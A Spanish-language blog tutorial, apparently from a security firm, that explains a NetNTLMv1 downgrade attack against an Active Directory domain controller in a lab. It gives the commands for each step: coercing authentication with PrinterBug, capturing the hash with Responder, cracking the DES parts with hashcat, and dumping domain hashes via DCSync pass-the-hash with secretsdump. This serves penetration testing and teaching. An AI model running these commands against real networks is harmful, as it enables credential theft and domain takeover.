NTLMv1 Downgrade attack
NetNTLMv1 downgrade
Como hemos comentado en entradas anteriores tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan, principalmente, tres escenarios diferentes de explotación, en este caso vamos a estar hablado de:
- NetNTLMv1 downgrade
En este escenario, el atacante aprovechará el uso del protocolo de autenticación NetNTLMv1 en la red.
Para poder abusar de dicho protocolo de autenticación, el servidor vulnerable a “Coerce Autentication” deberá tener configurado en el registro la clave “LmCompatibilityLevel” y se encuentra con un valor de 2 o menos.
Esto se puede configurar habilitando el envió de respuestas LM y NTLM en la política de grupo denominada como “Seguridad de red: nivel de autenticación de LAN Manager”.
Resumen
A continuación, se explica a grandes rasgos el proceso de explotación de este ataque:
- Obtener una Respuesta NetNTLMv1 de la cuenta de máquina del controlador del dominio forzando la autenticación con cualquier vulnerabilidad de “Coerce Autentication”.
- Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado en el modo DES.
- Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas.
- Transformar las claves DES Obtenidas a formato NTLM.
- Realizar un DCSync para obtener el NTDS mediante Pass The Hash haciendo uso del hash NTLM obtenido en los pasos anteriores.
Componentes del laboratorio de pruebas
A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas:
- Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para obtener el hash del usuario maquina en formato NetNTLMv1.
- DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso de este. Dicho servidor tendrá aplicada la política de grupo nombrada anteriormente.
Desarrollo del ataque
Obtener una Respuesta NetNTLMv1
Para comenzar el ataque, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados “aquí”. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug.
Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando:
Terminal
python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'
Terminal
Sudo nano /etc/responder/Responder.conf
SMB = On
HTTP = On
;Challenge = Random
Challenge = 1122334455667788
Una vez editado el archivo de configuración de responder, se deberá ejecutar de la siguiente manera para ponerlo a la escucha. El flag –lm fuerza un downgrade en ciertas versiones de Sistema Operativo.
Terminal
sudo responder -I eth0 -wv --lm
Terminal
'python3 printerbug.py "CORP/bob:password" @dc.corp.lab attack_machine'
Tras forzar la autenticación del usuario máquina del controlador de dominio contra la máquina del atacante, se obtiene el hash NetNTLMv1 de dicho usuario.
Transformar el hash NetNTLMv1 obtenido a un formato para poder ser crackeado
Tal y como se ha comentado, una vez obtenido el hash NetNTLMv1 se deberá transformar a un formato que pueda ser crackeado en el modo DES. Para ello, se hará uso de la herramienta ntlmv1-multi, la cual proporcionará los siguientes pasos a seguir para el correcto crackeo del hash.
Terminal
python3 ntlmv1.py --ntlmv1 'hash ntlmv1'
Como se puede observar en la captura de pantalla anterior, la propia herramienta muestra como calcular los 4 últimos dígitos del hash NTLM, y facilita, por un lado, los hashes que se deben crackear a formato DES, así como el comando que se debe ejecutar.
Crackear las diferentes partes del hash y obtener las claves DES de cada una de ellas
Por lo tanto, lo primero, se ejecutará el cálculo de los últimos 4 dígitos del hash NTLM de la siguiente manera haciendo uso de una herramienta de hashcat:
Terminal
/usr/lib/hashcat-utils/ct3_to_ntlm.bin 'output obtenido con ntlmv1.py'
Por otro lado, se procederá a crackear a formato DES los dos hashes proporcionados por la herramienta ntlmv1-multi mediante la herramienta de crackeo hashcat con el siguiente comando:
Terminal
hashcat.exe -m 14000 -a 3 -1 charsets/DES_full.hcchr --hex-charset 'fichero con hashes' ?1?1?1?1?1?1?1?1
NOTA: En las versiones antiguas de hashcat, se hace uso del “charset” DES_FULL.charset, en las versiones actualizadas, se hace uso de DES_full.hcchr.
Tras el proceso de crackeo, se obtiene las siguientes claves DES:
Transformar las claves DES Obtenidas a formato NTLM:
Una vez obtenidas las dos claves DES, se deberá hacer uso de otras herramientas de hashcat la cual permitirá transformas dichas claves al formato NTLM.
Terminal
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 1'
/usr/lib/hashcat-utils/deskey_to_ntlm.pl 'DES KEY crackeada 2'
Realizar un de DCSync para obtener el NTDS mediante Pass The Hash :
Tras obtener todas las partes del hash NTLM del usuario máquina del controlador de dominio, es posible realizar un DCSync y obtener el NTDS del dominio mediante la herramienta secretsdump.py de impacket, realizando un ataque de Pass The Hash:
Terminal
Python3 secretsdump.py -just-dc-ntlm -hashes ‘hash_ntlm’ ‘corp.lab/dc$@dc.corp.lab’’
Dimas Pastor, Senior Analyst en Grupo Zerolynx.
Powered by WPeMatico